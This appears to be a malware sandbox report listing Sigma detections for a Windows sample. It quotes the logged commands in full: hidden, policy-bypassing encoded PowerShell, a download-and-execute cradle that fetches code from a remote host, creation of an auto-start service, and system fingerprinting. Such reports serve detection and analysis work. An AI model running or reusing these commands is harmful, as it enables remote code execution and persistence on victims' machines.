AKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA, CommandLine: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -Execution

Sigma detected: Suspicious Encoded PowerShell Command Line

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBDAE8AZABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAHIASQBOAEcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBhAFoAQQA9AD0AIgApACkAKQApAC4AQwBPAE4AdABFAE4AdAApACkA , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBDAE8AZABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAHIASQBOAEcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBhAFoAQQA9AD0AIgApACkAKQApAC4AQwBPAE4AdABFAE4AdAApACkA , CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAGgAQQBGAG8AQQBRAFEAQQA5AEEARAAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQ

Sigma detected: Suspicious New Service Creation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , CommandLine: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , CommandLine|base64offset|contains: H, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3700, ParentProcessName: cmd.exe, ProcessCommandLine: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , ProcessId: 4628, ProcessName: sc.exe

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Source: Process started

Sigma detected: Suspicious PowerShell Invocations - Specific - PowerShell Module

Source: Event Logs

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro: Data: ContextInfo: Severity = Informational Host Name = ConsoleHost Host Version = 5.1.19041.1151 Host ID = 2d02246e-6da9-46f2-831c-f98178b10fba Host Application = powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA= Engine Version = 5.1.19041.1151 Runspace ID = 31af6d90-b16f-4427-861b-4731995809a9 Pipeline ID = 1 Command Name = Add-Type Command Type = Cmdlet Script Name = Command Path = Sequence Number = 16 User = computer\user Connected User = Shell ID = Microsoft.PowerShell, EventID: 4103, Payload: CommandInvocation(Add-Type): "Add-Type"ParameterBinding(Add-Type): name="AssemblyName"; value="System.Windows.Forms", Source: Microsoft-Windows-PowerShell, UserData: , data0: Severity = Informational Host Name = ConsoleHost Host Version = 5.1.19041.1151 Host ID = 2d02246e-6da9-46f2-831c-f98178b10fba Host Application = powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA= Engine Version = 5.1.19041.1151 Runspace ID = 31af6d90-b16f-4427-861b-4731995809a9 Pipeline ID = 1 Command Name = Add-Type Command Type = Cmdlet Script Name = Command Path = Sequence Number = 16 User = computer\user Connected User = Shell ID = Microsoft.PowerShell, data1: , data2: CommandInvocation(Add-Type): "Add-Type"ParameterBinding(Add-Type): name="AssemblyName"; value="System.Windows.Forms"

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, CommandLine: powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8904, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, ProcessId: 8924, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBDAE8AZABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAHIASQBOAEcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBhAFoAQQA9AD0AIgApACkAKQApAC4AQwBPAE4AdABFAE4AdAApACkA , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBDAE8AZABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAHIASQBOAEcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBhAFoAQQA9AD0AIgApACkAKQApAC4AQwBPAE4AdABFAE4AdAApACkA , CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAGgAQQBGAG8AQQBRAFEAQQA5AEEARAAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQ

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5xymyn2p\5xymyn2p.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5xymyn2p\5xymyn2p.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBDAE8AZABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAHIASQBOAEcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBhAFoAQQA9AD0AIgApACkAKQApAC4AQwBPAE4AdABFAE4AdAApACkA , ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3076, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5xymyn2p\5xymyn2p.cmdline", ProcessId: 5216, ProcessName: csc.exe

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAGgAQQBGAG8AQQBRAFEAQQA5AEEARAAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARQA0AEEAZABBAEIARgBBAEUANABBAGQAQQBBAHAAQQBDAGsAQQAiAA==" , CommandLine: powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGA